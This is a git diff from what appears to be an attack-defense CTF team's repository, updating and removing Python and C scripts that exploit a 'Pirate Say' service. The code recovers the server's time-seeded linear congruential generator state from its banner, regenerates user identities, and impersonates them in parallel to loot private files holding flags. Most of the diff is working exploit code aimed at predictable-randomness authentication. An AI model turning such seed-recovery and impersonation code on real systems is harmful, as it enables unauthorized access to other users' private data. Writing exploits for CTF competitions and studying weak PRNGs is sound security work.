diff --git a/debug/bambixploit_exploit2.py b/debug/bambixploit_exploit2.py index 8631a84..4200a6e 100644 --- a/debug/bambixploit_exploit2.py +++ b/debug/bambixploit_exploit2.py @@ -13,10 +13,14 @@ import time import traceback from concurrent.futures import ThreadPoolExecutor -from typing import Optional +from threading import Semaphore +from typing import List, Optional import requests +# Initialize the exploit2.info semaphore with a value of 1 +file_semaphore = Semaphore(1) + directories = [ "BlackbeardCove", "TreasureIsland", @@ -64,17 +68,22 @@ NUM_NOUNS = len(pirate_nouns) IDENTITY_LENGTH = 64 -# Load the C standard library -libc = ctypes.CDLL(None) +# Linear Congruential Generator parameters +A = 1103515245 +C = 12345 +M = 2147483648 # 2^31 + +def lcgrand(seed): + return (A * seed + C) % M -# Set argument and return types for rand_r -libc.rand_r.argtypes = [ctypes.POINTER(ctypes.c_uint)] -libc.rand_r.restype = ctypes.c_int +def generate_identity_string(seed): + current_seed = seed # Initialize the current seed + identity_string = '' + for _ in range(IDENTITY_LENGTH): + current_seed = lcgrand(current_seed) # Update the seed + identity_string += chr(ord('a') + (current_seed % 26)) + return identity_string, current_seed # Return both the identity string and the final seed -def generate_identity_string(state): - state_ptr = ctypes.c_uint(state) - identity_string = ''.join(chr(ord('a') + (libc.rand_r(ctypes.byref(state_ptr)) % 26)) for _ in range(IDENTITY_LENGTH)) - return identity_string, state_ptr.value def get_unix_time_from_string(date_string): # Format of date_string: "2024-07-15 11:35:24" @@ -96,19 +105,19 @@ def get_noun_from_identity(identity_string): index = (hash >> 16) % NUM_NOUNS # Shift to get a different part of the hash return pirate_nouns[index] +# Receive the initial server message +def recv_until_prompt(prompt, s): + data = b'' + while not data.endswith(prompt): + data += s.recv(1024) + return data + # Establish a single connection to get the seed and current identity -def get_seed_and_current_identity(host, port): +def get_seed(host, port): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((host, port)) - - # Receive the initial server message - def recv_until_prompt(prompt): - data = b'' - while not data.endswith(prompt): - data += s.recv(1024) - return data - initial_message = recv_until_prompt(b'$ ').decode() + initial_message = recv_until_prompt(b'$ ', s).decode() # Extract the timestamp from the initial message match = re.search(r'\(Pirate Say v1.0.0, up since (.+?)\)', initial_message) if match: @@ -118,46 +127,81 @@ def recv_until_prompt(prompt): print("Failed to extract seed from server message") exit(1) + return seed + +# Establish a single connection to get the seed and current identity +def get_current_identity(host, port): + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + s.connect((host, port)) + + recv_until_prompt(b'$ ', s) + # Get the current identity s.sendall(b'identity\n') - identity_response = recv_until_prompt(b': ').decode() + identity_response = recv_until_prompt(b': ', s).decode() s.sendall(b'\n') # Keeping current identity - recv_until_prompt(b'$ ') + recv_until_prompt(b'$ ', s) current_identity = identity_response.split("\n")[0].split(":")[1].strip() - return seed, current_identity + return current_identity -# Get identity strings with same name as target file -def get_matching_identites(seed, current_identity, target_file): +# Get potential identities between seed and current identity +def get_potential_identites(seed, current_identity): - # Generate all potential identities up to the current one - seed = 491621266 - for i in range(10000000): - identity, seed = generate_identity_string(seed) - if i % 10000 == 0: - print(f"Generated {i} identities") - print("Current seed:", seed) - print("Next is then identity:", identity) - - print("Finished generating identities") potential_identities = [] - iteration = 0 + N = 30000 + i = 0 + seeds = [seed] while True: - identity_string = generate_identity_string() + identity_string, seed = generate_identity_string(seed) potential_identities.append(identity_string) + i += 1 + if i % N == 0: + print(f"Checked {i} identities without finding a match, potential later exploit2.info") + seeds.append(seed) + if identity_string == current_identity: + print (f"Current identity has offset {i} from starting seed") break + + # Store the new seed, as all future flags in attack_info for upcoming rounds will be later identities + # Acquire the semaphore before accessing the file + if len(seeds) > 1: + file_semaphore.acquire() + try: + # Read the existing JSON content + with open("exploit2.info", "r") as f: + data = json.load(f) + + # Modify the [TARGET] part (if it is a new value) + if data[TARGET] != str(seeds[-2]): + data[TARGET] = str(seeds[-2]) + seed_offset = (len(seeds) - 2) * N + print (f"Updated seed for {TARGET}: {seeds[-2]}; Offset: {seed_offset} ({i - seed_offset} behind current)") + + # Write the updated content back to the file + with open("exploit2.info", "w") as f: + json.dump(data, f, indent=4) + finally: + # Release the semaphore after the file operations are complete + file_semaphore.release() + + return potential_identities + +def get_matching_identites(potential_identities, target_file): # Extract the name from the target_file - target_name = target_file.split('_')[0] + '_' + target_file.split('_')[1] + target_name = target_file.split('_found_shipwreck')[0] + target_name = target_name.split('(')[0] # TODO: remove when time is removed # Filter to get those that match the target name matching_identities = [] for identity in potential_identities: adj = get_adjective_from_identity(identity) noun = get_noun_from_identity(identity) - scammer_name = f"{adj}_{noun}".lower() - if target_name in scammer_name: + scammer_name = f"{adj}{noun}" + scammer_name = re.sub(r'(?<=[a-z])(?=[A-Z])', '_', scammer_name).lower() + if scammer_name in target_name: matching_identities.append(identity) return matching_identities @@ -190,41 +234,57 @@ def recv_until_prompt(prompt): ATTACK_INFO_TARGET = sys.argv[1] # The target's ip address is passed as an command line argument PORT = 4444 -def exploit(hint: Optional[str], flag_store: Optional[int]): - print(f'Attacking {TARGET} (flag_store={flag_store}, hint={hint})') - - # TODO implement exploit - print("Starting") +def exploit(hint: Optional[str], flag_store: Optional[int], seed, round_nr, potential_identities: List[str]): + print(f'Attacking {TARGET} (flag_store={flag_store}, round_nr={round_nr}, seed={seed})') private_dir, private_file = hint.split('/') - seed, current_identity = get_seed_and_current_identity(TARGET, PORT) - print("Finished getting seed and current identity") - print(f"Seed: {seed}, Current Identity: {current_identity}") - matching_identities = get_matching_identites(seed, current_identity, private_file) + matching_identities = get_matching_identites(potential_identities, private_file) # In case a service is running for the entire duration of the CTF, # we will only look at the last 1000 identities matching_identities = matching_identities[-1000:] - print("Finished finding matches") - - - responses = [] - for identity in matching_identities: - resp = process_identity(identity, private_file, private_dir, TARGET, PORT) - responses.append(resp) + print(f"Found {len(matching_identities)} matching identities for {private_file}") - # # Use ThreadPoolExecutor to parallelize the process_identity function - # with ThreadPoolExecutor() as executor: - # responses = executor.map(lambda identity: process_identity(identity, private_file, private_dir, TARGET, PORT), matching_identities) + # Use ThreadPoolExecutor to parallelize the process_identity function + with ThreadPoolExecutor() as executor: + responses = executor.map(lambda identity: process_identity(identity, private_file, private_dir, TARGET, PORT), matching_identities) # Iterate over the responses to find the flag + # TODO: finish debugging this! for response in responses: if "Protected with identity hash" in response.decode(): flag = response.decode().split('Scammer ID: ')[1].split('\n')[0] print(flag) - return + + + +# This is done for every connection to a TARGET in common for all the actual files + +# Prepare the exploit +# If there is a exploit2.info file, we will use that for the starting seeds instead. +# It stores in json format the target addresses and their starting seeds. + + +# 1. Get the current seed and identity +seed = None +try: + with open("exploit2.info", "r") as f: + exploit2_info = json.load(f) + for target in exploit2_info: + if target == TARGET: + seed = int(exploit2_info[target]) +except: + seed = get_seed(TARGET, PORT) + # If exploit2.info does not exist, we will create it + with open("exploit2.info", "w") as f: + json.dump({TARGET: str(seed)}, f, indent=4) + +current_identity = get_current_identity(TARGET, PORT) + +# 2. Generate potential identities between the seed up until the current identity +potential_identities = get_potential_identites(seed, current_identity) # Some CTFs publish information ('flag hints') which help you getting individual flags (e.g. the usernames of users that deposited flags). # Bambi CTF / ENOWARS flag hints: @@ -239,7 +299,7 @@ def exploit(hint: Optional[str], flag_store: Optional[int]): store_info = round_info[flag_store] for flag_info in store_info: # flag_info will always be a string, which you might have to parse with json.loads - t = threading.Thread(target=exploit, args=(flag_info, flag_store)) + t = threading.Thread(target=exploit, args=(flag_info, flag_store, seed, round_nr, potential_identities)) t.start() threads.append(t) for thread in threads: diff --git a/debug/bambixploit_state_getter.py b/debug/bambixploit_state_getter.py deleted file mode 100644 index 4c1204d..0000000 --- a/debug/bambixploit_state_getter.py +++ /dev/null @@ -1,95 +0,0 @@ -import re -import socket -import sys -import time - -IDENTITY_LENGTH = 64 - -# Linear Congruential Generator parameters -A = 1103515245 -C = 12345 -M = 2147483648 # 2^31 - -# Seed value, initialized to 1 -seed = 1 - -def slcgrand(s): - global seed - seed = s - -def lcgrand(): - global seed - seed = (A * seed + C) % M - return seed - -def generate_identity_string(): - identity_string = ''.join(chr(ord('a') + (lcgrand() % 26)) for _ in range(IDENTITY_LENGTH)) - return identity_string - -def get_unix_time_from_string(date_string): - # Format of date_string: "2024-07-15 11:35:24" - return int(time.mktime(time.strptime(date_string, "%Y-%m-%d %H:%M:%S"))) - -TARGET = sys.argv[1] # The target's ip address is passed as a command line argument -PORT = 4444 - -def get_seed_and_current_identity(host, port): - with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: - s.connect((host, port)) - - # Receive the initial server message - def recv_until_prompt(prompt): - data = b'' - while not data.endswith(prompt): - data += s.recv(1024) - return data - - initial_message = recv_until_prompt(b'$ ').decode() - # Extract the timestamp from the initial message - match = re.search(r'\(Pirate Say v1.0.0, up since (.+?)\)', initial_message) - if match: - seed_string = match.group(1) - seed = get_unix_time_from_string(seed_string) - else: - print("Failed to extract seed from server message") - exit(1) - - # Get the current identity - s.sendall(b'identity\n') - identity_response = recv_until_prompt(b': ').decode() - s.sendall(b'\n') # Keeping current identity - recv_until_prompt(b'$ ') - current_identity = identity_response.split("\n")[0].split(":")[1].strip() - return seed, current_identity - -# 1. Try to read state.txt if it exists -try: - with open("state.txt", "r") as f: - state = int(f.readline()) - match = f.readline().strip() -except FileNotFoundError: - # 1. Get starting seed and current identity by connecting - state, match = get_seed_and_current_identity(TARGET, PORT) - with open("state.txt", "w") as f: - f.writelines([str(state), "\n", match]) - -# 2. Generate identity strings until we find the correct one, print every Nth identity -N = 100000 -i = 1 -slcgrand(state) -seeds = [] -while True: - identity = generate_identity_string() - if identity == match: - print(f"Found matching identity: {identity}") - break - if i % N == 0: - print(f"State at {i}: {seed}") - seeds.append(seed) - i += 1 - -# 3. Print the final state -print(f"Match found! State: {seed}") -print(f"Storing seed {N} back in time, so that active flags can be found") -with open("state.txt", "w") as f: - f.writelines([str(seeds[-2]), "\n", match]) diff --git a/service/src/c.py b/debug/traffic.py similarity index 76% rename from service/src/c.py rename to debug/traffic.py index d3b4a8f..09eedee 100644 --- a/service/src/c.py +++ b/debug/traffic.py @@ -1,10 +1,12 @@ import socket +import sys from concurrent.futures import ThreadPoolExecutor -host = "localhost" +host = sys.argv[1] +connection_count = int(sys.argv[2]) port = 4444 -matching_identities = [i for i in range(0, 100000)] +matching_identities = [i for i in range(0, connection_count)] def connect(identity): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: diff --git a/service/src/NUL b/service/src/NUL deleted file mode 100644 index e607500..0000000 --- a/service/src/NUL +++ /dev/null @@ -1 +0,0 @@ -team6.perma.bambi.ovh ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDwg1pwF1TToVNcPpxNhpAq0Zr+Wj7zXZw5TsNyEQ2hD diff --git a/service/src/a.py b/service/src/a.py deleted file mode 100644 index 8963e8c..0000000 --- a/service/src/a.py +++ /dev/null @@ -1,188 +0,0 @@ -import ctypes -import hashlib -import re -import socket -import time -from concurrent.futures import ThreadPoolExecutor - -directories = [ - "BlackbeardCove", - "TreasureIsland", - "SkullAndBonesReef", - "DeadMansBay", - "JollyRogersHarbor", - "BuccaneerBeach", - "PirateHideout", - "CutthroatCreek", - "SirenShores", - "CorsairCastle", - "WickedWaters", - "MaroonersLagoon", - "ParrotPerch", - "RumRunnersRidge", - "GalleonGraveyard" -] - -pirate_adjectives = [ - "Red", "Black", "Silver", "Golden", "Scarlet", "Dark", "White", "Blue", "Rogue", "Stormy", - "Fearsome", "Mighty", "Brave", "Savage", "Fiery", "Cunning", "Bold", "Fierce", "Grim", "Vengeful", - "Merciless", "Wild", "Daring", "Stealthy", "Ferocious", "Deadly", "Bloodthirsty", "Cruel", "Relentless", "Treacherous", - "Wrathful", "Ruthless", "Sinister", "Ghostly", "Iron", "Steel", "Thunderous", "Shadowy", "Mysterious", "Menacing", - "Dauntless", "Unyielding", "Reckless", "Savvy", "Fearless", "Intrepid", "Grizzled", "Vigilant", "Crafty", "Sly", - "Swift", "Dreadful", "Gallant", "Heroic", "Legendary", "Wicked", "Terrorizing", "Formidable", "Chaotic", "Brutal", - "Perilous", "Noble", "Valiant", "Infernal", "Monstrous", "Raging", "Vicious", "Sinful", "Boldhearted", "Ferocious", - "Indomitable", "Savage", "Dreaded", "Fabled", "Majestic", "Unstoppable", "Ancient", "Stalwart", "Mythic", "Untamed", - "Mystic", "Prowling", "Doomed", "Forgotten", "Seafaring", "Wandering", "Shadow", "Deepsea", "Stormborn", "Windrider", - "Tidal", "Maelstrom", "Typhoon", "Tempest", "Harpooner", "Corsair", "Buccaneer", "Seawolf", "SeaSerpent", "Kraken" -] -pirate_nouns = [ - "Beard", "Jack", "Bart", "Pete", "Anne", "Patty", "John", "Hook", "Bill", "Bonny", - "Morgan", "Davy", "Blackbeard", "Silver", "LongJohn", "Calico", "Rackham", "Teach", "Drake", "Roberts", - "Lafitte", "Vane", "Flint", "Kidd", "Bartholomew", "Edward", "Mary", "Jane", "Blood", "Cannon", - "Cutlass", "Sparrow", "Corsair", "Marooner", "SeaDog", "Scallywag", "Buccaneer", "SeaWolf", "Privateer", "Matey", - "Swashbuckler", "Skull", "Crossbones", "Treasure", "Galleon", "Parrot", "Pistol", "Rum", "Sloop", "Brig", - "PirateKing", "Siren", "Corsair", "JollyRoger", "Bounty", "Scourge", "SeaSerpent", "Kraken", "Marauder", "Plunder", - "Loot", "Booty", "BountyHunter", "Mutineer", "Captain", "Quartermaster", "Gunner", "Boatswain", "Lookout", "Sailor", - "Navigator", "FirstMate", "Shipwright", "PowderMonkey", "CabinBoy", "Deckhand", "Helmsman", "Longboat", "Cannoneer", "Shipmate", - "PirateQueen", "SeaRover", "SeaRaider", "SeaCaptain", "Freebooter", "Wench", "Swabber", "Harpooner", "SeaWitch", "Buoy", - "Gangplank", "Mainmast", "Crowsnest", "Forecastle", "Hold", "Broadside", "Bilge", "Grog", "Anchor", "Tide" -] - -NUM_ADJECTIVES = len(pirate_adjectives) -NUM_NOUNS = len(pirate_nouns) -IDENTITY_LENGTH = 64 - -# Load the C standard library -libc = ctypes.CDLL(None) - -# Set argument and return types -libc.srand.argtypes = [ctypes.c_uint] -libc.rand.restype = ctypes.c_int - -def generate_identity_string(): - return ''.join(chr(ord('a') + (libc.rand() % 26)) for _ in range(IDENTITY_LENGTH)) - -def get_unix_time_from_string(date_string): - # Format of date_string: "2024-07-15 11:35:24" - return int(time.mktime(time.strptime(date_string, "%Y-%m-%d %H:%M:%S"))) - -def get_adjective_from_identity(identity_string): - hash = 5381 - for c in identity_string: - hash = ((hash << 5) + hash) + ord(c) # hash * 33 + ord(c) - hash = hash & 0xFFFFFFFF # Ensure hash is a 32-bit unsigned integer - index = hash % NUM_ADJECTIVES - return pirate_adjectives[index] - -def get_noun_from_identity(identity_string): - hash = 5381 - for c in identity_string: - hash = ((hash << 5) + hash) + ord(c) # hash * 33 + ord(c) - hash = hash & 0xFFFFFFFF # Ensure hash is a 32-bit unsigned integer - index = (hash >> 16) % NUM_NOUNS # Shift to get a different part of the hash - return pirate_nouns[index] - -# Establish a single connection to get the seed and current identity -host = 'localhost' -port = 4444 - -start_time = time.time() # Start timing the entire process - -with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: - s.connect((host, port)) - - # Receive the initial server message - def recv_until_prompt(prompt): - data = b'' - while not data.endswith(prompt): - data += s.recv(1024) - return data - - initial_message = recv_until_prompt(b'$ ').decode() - # Extract the timestamp from the initial message - match = re.search(r'\(Pirate Say v1.0.0, up since (.+?)\)', initial_message) - if match: - seed_string = match.group(1) - seed = get_unix_time_from_string(seed_string) - else: - print("Failed to extract seed from server message") - exit(1) - - # Get the current identity - s.sendall(b'identity\n') - identity_response = recv_until_prompt(b': ').decode() - s.sendall(b'\n') # Keeping current identity - recv_until_prompt(b'$ ') - current_identity = identity_response.split("\n")[0].split(":")[1].strip() - -# Generate all potential identities up to the current one - -libc.srand(seed) -potential_identities = [] -round = 1 -while True: - identity_string = generate_identity_string() - print(f"{round}: {identity_string}") - potential_identities.append(identity_string) - round += 1 - if identity_string == current_identity: - break - -print("Match at offset:", len(potential_identities)) - -# The target file we're looking for -target_directory = "ParrotPerch" -target_file = "fearless_crowsnest_scam_2024-07-15_1924.private" -target_name = target_file.split('_')[0] + '_' + target_file.split('_')[1] - -# Filter potential identities to find matching ones -matching_start_time = time.time() # Start timing the matching identities process - -matching_identities = [] -for identity in potential_identities: - adj = get_adjective_from_identity(identity) - noun = get_noun_from_identity(identity) - scammer_name = f"{adj}_{noun}".lower() - if target_name in scammer_name: - matching_identities.append(identity) - -matching_end_time = time.time() # End timing the matching identities process - -print(f"Number of matching identities: {len(matching_identities)}") -print(f"Time to get number of matching identities: {matching_end_time - matching_start_time:.2f} seconds") - -# Define a function to process each identity -def process_identity(identity): - with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: - s.connect((host, port)) - - def recv_until_prompt(prompt): - data = b'' - while not data.endswith(prompt): - data += s.recv(1024) - return data - - s.sendall(b'identity\n') - recv_until_prompt(b': ') - s.sendall(identity.encode() + b'\n') - recv_until_prompt(b'$ ') - - s.sendall(f'sail {target_directory}\n'.encode()) - recv_until_prompt(b'$ ') - s.sendall(f'loot {target_file}\n'.encode()) - response = recv_until_prompt(b'$ ') - if "Protected with identity hash" in response.decode(): - print("Flag found!") - print(response.decode()) - return - print(response.decode()) - s.sendall(b'sail ..\n') - recv_until_prompt(b'$ ') - -# Use ThreadPoolExecutor to parallelize the process_identity function -with ThreadPoolExecutor() as executor: - executor.map(process_identity, matching_identities) - -end_time = time.time() # End timing the entire process - -print(f"Total time: {end_time - start_time:.2f} seconds") diff --git a/service/src/rand_finder.c b/service/src/rand_finder.c deleted file mode 100644 index 09683a6..0000000 --- a/service/src/rand_finder.c +++ /dev/null @@ -1,68 +0,0 @@ -#include -#include -#include - -// Linear Congruential Generator parameters -#define A 1103515245 -#define C 12345 -#define M 2147483648UL // 2^31 -#define RAND_MAX 2147483647 - -// Seed value, initialized to 1 -static unsigned long seed = 1; - -// Seed the random number generator -void slcgrand(unsigned int s) -{ - seed = s; -} - -// Generate a random number using LCG -int lcgrand() -{ - seed = (A * seed + C) % M; - return (int)seed; // Cast to int to match typical rand function return type -} - -// Generate a random identity string of given length -void generate_random_identity(char *identity_string, int length) -{ - for (int i = 0; i < length; i++) - { - identity_string[i] = 'a' + (lcgrand() % 26); // Generate a random lowercase letter - } - identity_string[length] = '\0'; // Null-terminate the string -} - -int main(int argc, char *argv[]) -{ - if (argc != 3) - { - fprintf(stderr, "Usage: %s \n", argv[0]); - return 1; - } - - unsigned int start_seed = atoi(argv[1]); - char *identity_to_match = argv[2]; - int identity_length = strlen(identity_to_match); - char generated_identity[identity_length + 1]; - unsigned long initial_seed = start_seed; - - slcgrand(start_seed); - - unsigned long offset = 0; - while (1) - { - generate_random_identity(generated_identity, identity_length); - offset++; - if (strcmp(generated_identity, identity_to_match) == 0) - { - printf("Match found!\n"); - printf("Offset: %lu\n", offset); - printf("Seed: %lu\n", seed); - break; - } - } - - return 0; -}